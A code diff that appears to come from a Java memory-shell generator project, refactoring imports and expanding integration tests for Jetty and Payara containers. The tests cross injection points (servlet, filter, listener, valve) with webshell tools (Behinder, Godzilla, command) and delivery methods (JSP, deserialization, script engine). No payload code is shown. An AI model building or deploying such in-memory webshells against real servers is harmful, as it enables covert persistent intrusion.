arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,21 +40,23 @@ public class Jetty94ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.payara;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -42,20 +42,30 @@ public class Payara5201ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.payara;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.PayaraShell;
import lombok.extern.slf4j.Slf4j;
@@ -42,14 +42,20 @@ public class Payara520225ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, PayaraShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, PayaraShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),

Some files were not shown because too many files have changed in this diff Show More